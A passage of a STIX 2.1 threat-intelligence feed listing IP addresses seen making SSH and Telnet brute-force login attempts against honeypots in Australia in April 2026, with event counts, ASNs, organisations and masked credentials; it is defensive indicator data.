      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '146.190.29.141']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T11:15:10.000Z",
      "valid_until": "2026-05-04T11:15:08.000Z"
    },
    {
      "created": "2026-04-02T11:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 124. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TH. ASN(s): 135161. Organisation(s): GMO-Z com NetDesign Holdings Co., Ltd.. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1******z, 3***********4, 3**********4, @*******x, A*******8.",
      "id": "indicator--b4a8838e-c72d-4889-8a9b-5d9d3e76f685",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '150.95.30.186']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T11:15:10.000Z",
      "valid_until": "2026-05-04T11:15:08.000Z"
    },
    {
      "created": "2026-04-02T11:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IT. ASN(s): 1267. Organisation(s): Wind Tre S.p.A..",
      "id": "indicator--96c2682f-af41-4ab7-a13a-7ffa3db5df0e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '151.21.92.112']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T11:15:10.000Z",
      "valid_until": "2026-05-04T11:15:08.000Z"
    },
    {
      "created": "2026-04-02T11:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 148. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1**2, 1*******3, 3***********4, 3**********4, A*******!.",
      "id": "indicator--99c8c2db-1802-414a-8c7e-2c3c9e555381",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '165.154.6.86']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T11:15:10.000Z",
      "valid_until": "2026-05-04T11:15:08.000Z"
    },
    {
      "created": "2026-04-02T11:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 136. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1********$, 3***********4, 3**********4, @*******x, A***********..",
      "id": "indicator--0cd6f6b7-c6d3-4177-a6e2-01cb5cd587ce",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '172.174.72.225']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T11:15:10.000Z",
      "valid_until": "2026-05-04T11:15:08.000Z"
    },
    {
      "created": "2026-04-02T11:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--2dacaf5d-9bda-4f33-abf7-f9b4076f1d4e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.91']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T11:15:10.000Z",
      "valid_until": "2026-05-04T11:15:08.000Z"
    },
    {
      "created": "2026-04-02T11:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 112. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 9498. Organisation(s): BHARTI Airtel Ltd.. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, A******0, P**********!, Q**2.",
      "id": "indicator--07ac6dba-1093-4d2b-a2d4-f9bc0dc40c24",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '203.145.143.163']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T11:15:10.000Z",
      "valid_until": "2026-05-04T11:15:08.000Z"
    },
    {
      "created": "2026-04-02T11:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: JP. ASN(s): 2519. Organisation(s): ARTERIA Networks Corporation.",
      "id": "indicator--5d39fe0c-4f19-4d49-b9ff-6cee4f46026d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '220.158.96.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T11:15:10.000Z",
      "valid_until": "2026-05-04T11:15:08.000Z"
    },
    {
      "created": "2026-04-02T11:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Heralding. Target ports: 5432. Source country: NL. ASN(s): 205759. Organisation(s): Ghosty Networks LLC. Usernames observed (masked): p******s. Passwords observed (masked): 1****6, p******d, p******s.",
      "id": "indicator--ef5cd887-e80a-4716-a45f-631656417cd3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '46.151.182.190']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T11:15:10.000Z",
      "valid_until": "2026-05-04T11:15:08.000Z"
    },
    {
      "created": "2026-04-02T11:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--06146911-f05a-4a6e-99c3-f1dd98759d0a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T11:15:10.000Z",
      "valid_until": "2026-05-04T11:15:08.000Z"
    },
    {
      "created": "2026-04-02T11:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: IT. ASN(s): 8612. Organisation(s): Tiscali SpA. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--3dc23505-4304-434e-a9bd-6d99d2199c88",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '94.35.140.5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T11:15:10.000Z",
      "valid_until": "2026-05-04T11:15:08.000Z"
    },
    {
      "created": "2026-04-02T12:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 24. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): r**t, a***n, o******i. Passwords observed (masked): *, a***n, o******i, p******d.",
      "id": "indicator--59e493b5-a275-45fe-929c-d0a3c2b60511",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '101.47.8.187']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T12:15:10.000Z",
      "valid_until": "2026-05-04T12:15:08.000Z"
    },
    {
      "created": "2026-04-02T12:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 106. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, A**********#, A********$, A****2.",
      "id": "indicator--8def0594-8dfe-49e4-9227-8b11fe2312be",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.23.198.86']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T12:15:10.000Z",
      "valid_until": "2026-05-04T12:15:08.000Z"
    },
    {
      "created": "2026-04-02T12:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MY. ASN(s): 55720. Organisation(s): Gigabit Hosting Sdn Bhd. Usernames observed (masked): r**t. Passwords observed (masked): p*****3.",
      "id": "indicator--25333fc1-08fd-43c9-823c-1a3612c2ac4c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.249.84.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T12:15:10.000Z",
      "valid_until": "2026-05-04T12:15:08.000Z"
    },
    {
      "created": "2026-04-02T12:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--451ea2b5-afbb-42c3-8cb4-094dab349e77",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '122.117.175.247']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T12:15:10.000Z",
      "valid_until": "2026-05-04T12:15:08.000Z"
    },
    {
      "created": "2026-04-02T12:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--136b3c24-6318-4b70-8534-03821d0c9a88",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '122.194.13.104']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T12:15:10.000Z",
      "valid_until": "2026-05-04T12:15:08.000Z"
    },
    {
      "created": "2026-04-02T12:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 15943. Organisation(s): wilhelm.tel GmbH. Usernames observed (masked): **. Passwords observed (masked): r*******y, r**********************1.",
      "id": "indicator--41d6ffb0-8a3a-409c-bca6-9e159ff54333",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '149.233.147.35']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T12:15:10.000Z",
      "valid_until": "2026-05-04T12:15:08.000Z"
    },
    {
      "created": "2026-04-02T12:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 172. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, A**1, A****3, A******4.",
      "id": "indicator--717062d3-b700-4f72-b7aa-4ac5570b1427",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '165.154.5.188']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T12:15:10.000Z",
      "valid_until": "2026-05-04T12:15:08.000Z"
    },
    {
      "created": "2026-04-02T12:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 56046. Organisation(s): China Mobile communications corporation.",
      "id": "indicator--7540279f-82da-4042-a23a-1bfdd20de857",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '183.212.245.179']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T12:15:10.000Z",
      "valid_until": "2026-05-04T12:15:08.000Z"
    },
    {
      "created": "2026-04-02T12:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 22927. Organisation(s): Telefonica de Argentina.",
      "id": "indicator--8ba38dfa-2d68-4eec-a3c5-f373dcf1fb4a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '191.84.66.43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T12:15:10.000Z",
      "valid_until": "2026-05-04T12:15:08.000Z"
    },
    {
      "created": "2026-04-02T12:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--c0aa3029-091c-4b4e-9ca3-b16bed4a4e5e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '20.163.2.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T12:15:10.000Z",
      "valid_until": "2026-05-04T12:15:08.000Z"
    },
    {
      "created": "2026-04-02T12:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 100. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1******W, 1******6, 3***********4, 3**********4, T*******6.",
      "id": "indicator--abb56643-14fd-4db7-8670-52af2e4b8fd6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '43.160.200.19']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T12:15:10.000Z",
      "valid_until": "2026-05-04T12:15:08.000Z"
    },
    {
      "created": "2026-04-02T13:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--6b24e140-292e-4f72-bb0f-4308116b072d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T13:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '121.170.221.40']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T13:15:10.000Z",
      "valid_until": "2026-05-04T13:15:08.000Z"
    },
    {
      "created": "2026-04-02T13:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 136. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, A***9, A********4, B*****3.",
      "id": "indicator--fc5aa9b7-d3e4-4ad6-880b-cd17b1798267",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T13:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '121.179.119.204']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T13:15:10.000Z",
      "valid_until": "2026-05-04T13:15:08.000Z"
    },
    {
      "created": "2026-04-02T13:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 31898. Organisation(s): Oracle Corporation. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--d6f47e67-a278-4624-8461-3fb165b2da30",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T13:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '129.121.84.193']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T13:15:10.000Z",
      "valid_until": "2026-05-04T13:15:08.000Z"
    },
    {
      "created": "2026-04-02T13:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 28. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--7b2173e9-8546-460b-958f-498d9d7df848",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T13:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '61.53.141.21']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T13:15:10.000Z",
      "valid_until": "2026-05-04T13:15:08.000Z"
    },
    {
      "created": "2026-04-02T13:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--b8a80e0d-6980-4fbc-8b2a-f5a1b37bf6a3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T13:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.22']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T13:15:10.000Z",
      "valid_until": "2026-05-04T13:15:08.000Z"
    },
    {
      "created": "2026-04-02T13:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 33363. Organisation(s): Charter Communications, Inc. Usernames observed (masked): e****e, r**t, **. Passwords observed (masked): s***l, s****m, q****y, t**r.",
      "id": "indicator--1e20f528-1f43-4fb5-979a-5f0eb673274d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T13:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '72.31.24.115']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T13:15:10.000Z",
      "valid_until": "2026-05-04T13:15:08.000Z"
    },
    {
      "created": "2026-04-02T14:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 190. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 138152. Organisation(s): YISU CLOUD LTD. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1*******c, 1*****%, 1*****e, 1******************T, 1********v.",
      "id": "indicator--9a2b94aa-6ef1-40cb-bf3f-63ce63707486",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.144.28.85']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T14:15:10.000Z",
      "valid_until": "2026-05-04T14:15:08.000Z"
    },
    {
      "created": "2026-04-02T14:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 28. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 16509. Organisation(s): Amazon.com, Inc.. Usernames observed (masked): G************1, U**************************************************************************************************************6. Passwords observed (masked): A**********, H**********************3.",
      "id": "indicator--0ef48a76-5771-4d83-832a-c3ac9464f84c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '16.58.56.214']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T14:15:10.000Z",
      "valid_until": "2026-05-04T14:15:08.000Z"
    },
    {
      "created": "2026-04-02T14:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 112. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, D******3, Z*******!, d***m.",
      "id": "indicator--4cdfd787-7733-4a40-84ea-3cd78ab57565",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '171.244.141.86']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T14:15:10.000Z",
      "valid_until": "2026-05-04T14:15:08.000Z"
    },
    {
      "created": "2026-04-02T14:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 112. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 56971. Organisation(s): Cgi Global Limited. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, P******D, Z*******!, a*******..",
      "id": "indicator--ab11be44-558a-49df-8fef-b9f614841a1a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '217.60.39.166']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T14:15:10.000Z",
      "valid_until": "2026-05-04T14:15:08.000Z"
    },
    {
      "created": "2026-04-02T14:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Heralding. Target ports: 1080. Source country: NL. ASN(s): 51396. Organisation(s): Pfcloud UG (haftungsbeschrankt). Usernames observed (masked): *, ***, e**o, **, r**t. Passwords observed (masked): *, ***, 1**4, e**o, **.",
      "id": "indicator--d11aa636-d936-4fd2-b9af-9ebe2256eb57",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.153.34.158']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T14:15:10.000Z",
      "valid_until": "2026-05-04T14:15:08.000Z"
    },
    {
      "created": "2026-04-02T14:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 118. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IQ. ASN(s): 210513. Organisation(s): Masarat Al-Iraq Information Technology Co., Ltd. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 2**8, 3***********4, 3**********4, D******3, Z*******!.",
      "id": "indicator--8dc6f98d-cdd1-4920-bc95-fa4f7229d7a8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '62.3.56.187']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T14:15:10.000Z",
      "valid_until": "2026-05-04T14:15:08.000Z"
    },
    {
      "created": "2026-04-02T15:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 112. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, C*****4, J******4, Q**Q.",
      "id": "indicator--e58ee94b-656f-4849-84e6-237157d1e58d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T15:15:10.000Z",
